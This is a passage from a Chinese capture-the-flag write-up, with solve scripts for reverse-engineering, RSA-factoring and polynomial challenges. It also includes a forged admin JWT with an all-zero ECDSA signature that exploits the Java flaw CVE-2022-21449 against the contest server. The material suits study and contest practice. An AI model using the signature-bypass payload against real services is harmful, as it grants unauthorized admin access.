byte[] key = new byte[16] { 66, 114, 97, 105, 110, 115, 116, 111, 114, 109, 105, 110, 103, 33, 33, 33 }; RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.Key = key; rijndaelManaged.Mode = CipherMode.ECB; rijndaelManaged.Padding = PaddingMode.Zeros; ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(); m = cryptoTransform.TransformFinalBlock(memory, 0, memory.Length); Environment.SetEnvironmentVariable(\u0026#34;AchivePoint2\u0026#34;, game.Player.Balance.ToString()); return; } } if (memcmp1(input, \u0026#34;6VD6\u0026#34;, 4)) { try { game.Player.Balance -= 27m; Environment.SetEnvironmentVariable(\u0026#34;AchivePoint3\u0026#34;, game.Player.Balance.ToString()); BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream = new MemoryStream(m); binaryFormatter.Deserialize(serializationStream); return; } } 依次触发三个作弊码，就会对文件内容进行解密并反序列化\n解密后发现序列化内容中包含了一个dll文件：\nprivate static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream) { int num = -1; for (int i = 0; i \u0026lt; 320; i++) { x = (((x \u0026gt;\u0026gt; 29 ^ x \u0026gt;\u0026gt; 28 ^ x \u0026gt;\u0026gt; 25 ^ x \u0026gt;\u0026gt; 23) \u0026amp; 1UL) | x \u0026lt;\u0026lt; 1); y = (((y \u0026gt;\u0026gt; 30 ^ y \u0026gt;\u0026gt; 27) \u0026amp; 1UL) | y \u0026lt;\u0026lt; 1); z = (((z \u0026gt;\u0026gt; 31 ^ z \u0026gt;\u0026gt; 30 ^ z \u0026gt;\u0026gt; 29 ^ z \u0026gt;\u0026gt; 28 ^ z \u0026gt;\u0026gt; 26 ^ z \u0026gt;\u0026gt; 24) \u0026amp; 1UL) | z \u0026lt;\u0026lt; 1); bool flag = i % 8 == 0; if (flag) { num++; } KeyStream[num] = (byte)((long)((long)KeyStream[num] \u0026lt;\u0026lt; 1) | (long)((ulong)((uint)((z \u0026gt;\u0026gt; 32 \u0026amp; 1UL \u0026amp; (x \u0026gt;\u0026gt; 30 \u0026amp; 1UL)) ^ (((z \u0026gt;\u0026gt; 32 \u0026amp; 1UL) ^ 1UL) \u0026amp; (y \u0026gt;\u0026gt; 31 \u0026amp; 1UL)))))); } } private static void ParseKey(ulong[] L, byte[] Key) { for (int i = 0; i \u0026lt; 3; i++) { for (int j = 0; j \u0026lt; 4; j++) { Key[i * 4 + j] = (byte)(L[i] \u0026gt;\u0026gt; j * 8 \u0026amp; 255UL); } } } public T1() { try { string environmentVariable = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint1\u0026#34;); string environmentVariable2 = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint2\u0026#34;); string environmentVariable3 = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint3\u0026#34;); bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null; if (!flag) { ulong num = ulong.Parse(environmentVariable); ulong num2 = ulong.Parse(environmentVariable2); ulong num3 = ulong.Parse(environmentVariable3); ulong[] array = new ulong[3]; byte[] array2 = new byte[40]; byte[] array3 = new byte[40]; byte[] array4 = new byte[12]; byte[] first = new byte[] { 101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5 }; byte[] array5 = new byte[] { 60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227 }; array[0] = num; array[1] = num2; array[2] = num3; T1.Check1(array[0], array[1], array[2], array2); bool flag2 = first.SequenceEqual(array2); if (flag2) { T1.ParseKey(array, array4); for (int i = 0; i \u0026lt; array5.Length; i++) { array5[i] ^= array4[i % array4.Length]; } MessageBox.Show(\u0026#34;flag{\u0026#34; + Encoding.Default.GetString(array5) + \u0026#34;}\u0026#34;, \u0026#34;Congratulations!\u0026#34;, MessageBoxButtons.OK); } } } catch (Exception) { } } 使用 z3 求解三个环境变量\nfrom z3 import * x = BitVec(\u0026#39;x\u0026#39;, 64) y = BitVec(\u0026#39;y\u0026#39;, 64) z = BitVec(\u0026#39;z\u0026#39;, 64) flag1 = [ 101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5 ] s = Solver() for i in range(320): x = (((x \u0026gt;\u0026gt; 29 ^ x \u0026gt;\u0026gt; 28 ^ x \u0026gt;\u0026gt; 25 ^ x \u0026gt;\u0026gt; 23) \u0026amp; 1) | x \u0026lt;\u0026lt; 1) y = (((y \u0026gt;\u0026gt; 30 ^ y \u0026gt;\u0026gt; 27) \u0026amp; 1) | y \u0026lt;\u0026lt; 1) z = (((z \u0026gt;\u0026gt; 31 ^ z \u0026gt;\u0026gt; 30 ^ z \u0026gt;\u0026gt; 29 ^ z \u0026gt;\u0026gt; 28 ^ z \u0026gt;\u0026gt; 26 ^ z \u0026gt;\u0026gt; 24) \u0026amp; 1) | z \u0026lt;\u0026lt; 1) cur = ((z \u0026gt;\u0026gt; 32) \u0026amp; 1 \u0026amp; (x \u0026gt;\u0026gt; 30 \u0026amp; 1)) ^ ((((z \u0026gt;\u0026gt; 32) \u0026amp; 1) ^ 1) \u0026amp; ((y \u0026gt;\u0026gt; 31) \u0026amp; 1)) s.add(cur == (flag1[i // 8] \u0026gt;\u0026gt; (7 - i % 8)) \u0026amp; 1) if s.check() == sat: m = s.model() print (m) else: print (\u0026#39;no res\u0026#39;) 求解，或动调改内存\narray = [156324965, 868387187, 3131229747] Key = [0] * 12 for i in range(3): for j in range(4): Key[i * 4 + j] = (array[i] \u0026gt;\u0026gt; (j * 8)) \u0026amp; 0xff print (Key) cipher = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227] for i in range(len(cipher)): print (chr(cipher[i] ^ Key[i % len(Key)]), end=\u0026#39;\u0026#39;) Easyapk 逻辑在 so 层，有大量的垃圾指令，实际逻辑是先进行 rot13，再进行 tea 加密 解密脚本如下：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i\u0026lt;32; i++) { /* basic cycle start */ v1 -= ((v0\u0026lt;\u0026lt;4) + k2) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k3); v0 -= ((v1\u0026lt;\u0026lt;4) + k0) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={1570024068u, 351937696u, 727056912u, 3063668041u, 2867849940u, 1267528902u, 159365321u, 3052163538u},k[4]={0x33323130, 0x37363534, 0x62613938, 0x66656463}; // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位 printf(\u0026#34;加密后的数据：%u %u\\n\u0026#34;,v[0],v[1]); decrypt(v, k); decrypt(v + 2, k); decrypt(v + 4, k); decrypt(v + 6, k); unsigned char *x = (unsigned char *)v; for (int i = 0; i \u0026lt; 32; i++) { printf(\u0026#34;%x\u0026#34;, x[i]); } return 0; } // synt{Vg_Vf_A0g_guNg_zHpu_unEqre} 结果进行rot13即可\nflag{It_Is_N0t_thAt_mUch_haRder} deeprev 将 shellcode 隐藏在了 relocation 中\nimport lief from collections import namedtuple from dataclasses import dataclass b = lief.ELF.parse(\u0026#39;./deeprev\u0026#39;) def to_sym(name): assert len(name) == 1 return ord(name[0]) Rel = namedtuple(\u0026#39;REL\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;val\u0026#39;, \u0026#39;ridx\u0026#39;]) Copy = namedtuple(\u0026#39;CPY\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;ridx\u0026#39;]) R64 = namedtuple(\u0026#39;R64\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;addend\u0026#39;, \u0026#39;ridx\u0026#39;]) R32 = namedtuple(\u0026#39;R32\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;addend\u0026#39;, \u0026#39;ridx\u0026#39;]) @dataclass class Symbol(object): idx: int def __repr__(self): return f\u0026#39;s{self.idx}\u0026#39; @dataclass class Reloc(object): idx: int def __repr__(self): return f\u0026#39;r{self.idx}\u0026#39; @dataclass class Ref(object): def __repr__(self): return f\u0026#39;\u0026amp;{self.val}\u0026#39; @dataclass class SymAddr(object): sym: Symbol field: str def __repr__(self): return f\u0026#39;{self.sym}.{self.field}\u0026#39; @dataclass class RelocAddr(object): reloc: Reloc field: str def __repr__(self): return f\u0026#39;{self.reloc}.{self.field}\u0026#39; def vaddr(self): off = 0 print(self.field) # match self.field: # case \u0026#39;r_address\u0026#39;: off = 0 # case \u0026#39;r_info\u0026#39;: off = 8 # case \u0026#39;r_addend\u0026#39;: off = 16 return (self.reloc.idx * 24) + off + rela.virtual_address @dataclass class FlagAddr(object): idx: int def __repr__(self): return f\u0026#39;flag[{self.idx}]\u0026#39; BaseAddr = namedtuple(\u0026#39;baseaddr\u0026#39;, []) CheckAddr = namedtuple(\u0026#39;check\u0026#39;, []) rela = [x for x in b.sections if x.name == \u0026#39;.rela.dyn\u0026#39;][0] dynsym = [x for x in b.sections if x.name == \u0026#39;.dynsym\u0026#39;][0] def format_addr(addr: int): if (addr \u0026gt;= rela.virtual_address and addr \u0026lt; rela.virtual_address + rela.size): offset = addr - rela.virtual_address r_offset = (offset // 24) r_rem = offset % 24 if r_rem == 0: return RelocAddr(Reloc(r_offset), \u0026#39;r_address\u0026#39;) elif r_rem == 8: return RelocAddr(Reloc(r_offset), \u0026#39;r_info\u0026#39;) elif r_rem == 16: return RelocAddr(Reloc(r_offset), \u0026#39;r_addend\u0026#39;) else: return RelocAddr(Reloc(r_offset), r_rem) elif (addr \u0026gt; dynsym.virtual_address and addr \u0026lt; dynsym.virtual_address + dynsym.size ): offset = addr - dynsym.virtual_address r_offset = (offset // 24) r_rem = offset % 24 if r_rem == 0: return SymAddr(Symbol(r_offset), \u0026#39;st_name\u0026#39;) elif r_rem == 8: return Symbol(r_offset) elif r_rem == 16: return SymAddr(Symbol(r_offset), \u0026#39;st_size\u0026#39;) else: return SymAddr(Symbol(r_offset), r_rem) elif addr \u0026gt;= 0x404040 and addr \u0026lt; 0x404040+0x21: off = addr-0x404040 return FlagAddr(off) elif addr == 0x804000: return BaseAddr() elif addr == 0x404064: return CheckAddr() else: return addr def parse(b) -\u0026gt; list: print(\u0026#39;[*] Loading relocations...\u0026#39;) relocs = list(b.relocations) print(\u0026#39;[*] Parsing...\u0026#39;) instructions = [] for i in range(3, len(relocs)): r = relocs[i] if r.type == 1: instructions.append( R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i)) elif r.type == 5: # CPY instructions.append( Copy(format_addr(r.address), to_sym(r.symbol.name), i)) elif r.type == 8: # REL instructions.append( Rel(format_addr(r.address), format_addr(r.addend), i)) elif r.type == 7: # R32 # instructions.append( # R32(r.address, to_sym(r.symbol.name), r.addend, i)) instructions.append(R32(1, 1, 1, 1)) return instructions def dump(instructions): for op in instructions: if type(op).__name__ == \u0026#39;REL\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: rel {op.dst}, {op.val}\u0026#39;) elif type(op).__name__ == \u0026#39;CPY\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: copy {op.dst}, {op.symbol}\u0026#39;) elif type(op).__name__ == \u0026#39;R64\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: r64 {op.dst}, {op.symbol} + {op.addend}\u0026#39;) elif type(op).__name__ == \u0026#39;R32\u0026#39;: print(\u0026#39;7\u0026#39;) if(op.ridx == 1266): break instructions = parse(b) dump(instructions) 提取后发现主要逻辑为加载 shellcode 并执行\n[0005] :: rel s2, flag[0] [0006] :: rel s2.st_size, 1 [0007] :: copy s4, s2 [0009] :: rel r8.r_address, 0x16008040cc253480 [0010] :: rel r8.r_info, 0xc3 [0011] :: rel s3, r8.r_address [0012] :: rel s3.st_name, 0x1000a0000001a [0013] :: r64 r8.r_address, 3 + 0 [0014] :: rel s2, r101002.r_address [0015] :: rel s2.st_size, 0x18 [0016] :: copy r8.r_address, s2 [0018] :: rel r17.r_address, 0x8040cc250480 [0019] :: rel r17.r_info, 0xc3 [0020] :: rel s3, r17.r_address [0021] :: rel s3.st_name, 0x1000a0000001a [0022] :: r64 r17.r_address, 3 + 0 [0023] :: copy r17.r_address, s2 [0024] :: rel s2, s4 [0025] :: rel s2.st_size, 1 [0026] :: copy r3.r_address, s2 [0597] :: rel s2, r3.r_address [0598] :: rel s2.st_size, 8 [0599] :: copy s6, s2 [0601] :: rel r600.r_address, 0x70008040fc253480 [0602] :: rel r600.r_info, 0xc3 [0603] :: rel s3, r600.r_address [0604] :: rel s3.st_name, 0x1000a0000001a [0605] :: r64 r600.r_address, 3 + 0 [0606] :: rel s2, r101002.r_address [0607] :: rel s2.st_size, 0x18 [0608] :: copy r600.r_address, s2 [0609] :: rel s2, s6 [0610] :: rel s2.st_size, 8 [0611] :: copy r612.r_addend, s2 [0612] :: r64 s5, 5 + 0 [0613] :: rel r612.r_addend, 0 [0614] :: rel s6, 0 上述代码对 flag 第一位执行了两处 shellcode，shellcode 为 f ^ 0x16 + 0 随后对该值 xor 0x70，最后值为 0 表示通过\n前28位flag均是该逻辑的重复\nxor = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27] add = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b] xor2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32] for x1, a, x2 in zip(xor, add, xor2): print (chr((x2 - a) ^ x), end=\u0026#39;\u0026#39;) # flag{366c950370fec47e34581a0 对最后几位flag进行了如下计算\n(flag[28] + flag[29]) ^ 0x6c = 0 (flag[28] * 2 + flag[29]) ^ 0xa1 = 0 (flag[30] + flag[31]) ^ 0xb1 = 0 (flag[30] * 2 + flag[31]) ^ 0xe5 = 0 计算得到flag最后四位\nCrypto MyJWT 一个基于 ECDSA 的 JWT，需要绕过签名验证得到 flag。签名头部 base64 解码，admin 字段为 false，考虑将其修改为 true 后绕过。\n搜索发现漏洞 CVE-2022-21449。https://jfrog.com/blog/cve-2022-21449-psychic-signatures-analyzing-the-new-java-crypto-vulnerability/，未验证提交签名中参数是否为 0，提交定长空字节的 base64 编码即可通过验证。\nECDSA 内置实例算法采用 SHA384，对应签名 base64 长度为 128，编码 96 个空字节即可。远程连接提交用户名拿到 Token，在有效时间内修改 admin 字段为 true 后重新编码。payload 为初始字段+修改了admin的头部+空字节编码。\neyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoic2IiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNjU5MTk1NTg0NTgwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Factor https://eprint.iacr.org/2015/399.pdf 参照这篇论文的做法，论文中提到的三种攻击就对应了此题的三关，反序解出即可。\n第一二关都是Coppersmith方法解决，用sage中的small_roots()函数。\n第三关采用连分数解决。\n第一二关脚本 and 第三关脚本\nn3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821 R.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(n3),implementation=\u0026#39;NTL\u0026#39;) e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145 z=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437 f=e3*x-z f=f.monic() print(f.small_roots(beta=0.7)) import gmpy2 from libnum import n2s from math import gcd def tCf(n, d): res = [] while d: res.append(n // d) n, d = d, n % d return res def cf(sub_res): n, d = 1, 0 for i in sub_res[::-1]: d, n = n, i * n + d return d, n def listFraction(x, y): res = tCf(x, y) res = list(map(cf, (res[0:i] for i in range(1, len(res))))) return res n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637 n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371 e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865 e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881 res = listFraction(n11, n12) for i in res: if n12 % i[0] == 0 and n11 % i[1] == 0 and i != (1,1): q1 = i[1] q2 = i[0] p1 = int(gmpy2.iroot(n11 // q1, 2)[0]) p2 = int(gmpy2.iroot(n12 // q2, 2)[0]) print(p1,p2) c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579 c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665 phi11 = (p1) * (p1-1) * (q1-1) phi12 = (p2) * (p2-1) * (q2-1) d11 = gmpy2.invert(e11,phi11) d12 = gmpy2.invert(e12,phi12) m1 = pow(c11,d11,n11) m2 = pow(c12,d12,n12) print(m1) print(m2) n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209 x = 3549384841973213309621072870106254602253656209014197632823411827739864720839737811030401306800875843661955913236834617545674409639259372934721570288281471569069146201536309734296340629562207991295283896 g = gcd(m1*m2*x-(m2-m1),n2) p2 = int(gmpy2.iroot(g,6)[0]) q2 = n2 // (p2 ** 7) e2 = 0x10001 phi2 = (p2 ** 6) * (p2 - 1) * (q2 - 1) d2 = gmpy2.invert(e2,phi2) c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653 b = pow(c2,d2,n2) print(b) n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821 e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145 x3 = 16731588253866128571163910758846497670928988943944436618514118121761227689113110943465936457030051710610254169629932203082368465978112219532158626669990117160986135699541953274434781877420432743573801621 g3 = gcd(e3*x3-b,n3) p3 = int(gmpy2.iroot(g3,6)[0]) q3 = n3 // (p3 ** 7) phi3 = (p3 ** 6) * (p3 - 1) * (q3 - 1) c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763 d3 = gmpy2.invert(e3,phi3) m3 = pow(c3,d3,n3) print(n2s(int(m3))) 强网先锋 Polydiv 远程交互打 40 关，每次给三个多项式 a(x), r(x), c(x)，需要求一个 b(x) 满足模2多项式环上 a(x)b(x)+c(x)==r(x)。给出的多项式都满足可以整除，做一个模2环上的多项式除法就行。\n最后需要调整格式，高位在左低位在右。\nfrom hashlib import sha256 from pwn import * from re import findall from math import log,floor def GF2_sub(n1, n2): return n1 ^ n2 def GF2_div(n1, n2): if n2 == 1: return n1 else: len1 = len(bin(n1)) len2 = len(bin(n2)) lensub = len1 - len2 + 1 if lensub \u0026lt; 1: return hex(0) elif lensub == 1: return hex(1) elif lensub \u0026gt; 1: div = 0 while len1 \u0026gt;= len2: n1 ^= (n2 \u0026lt;\u0026lt; (len1 - len2)) div ^= (1 \u0026lt;\u0026lt; (len1-len2)) len1 = len(bin(n1)) return div p = remote(\u0026#39;182.92.161.17\u0026#39;, 31466) s = p.recv() kk = 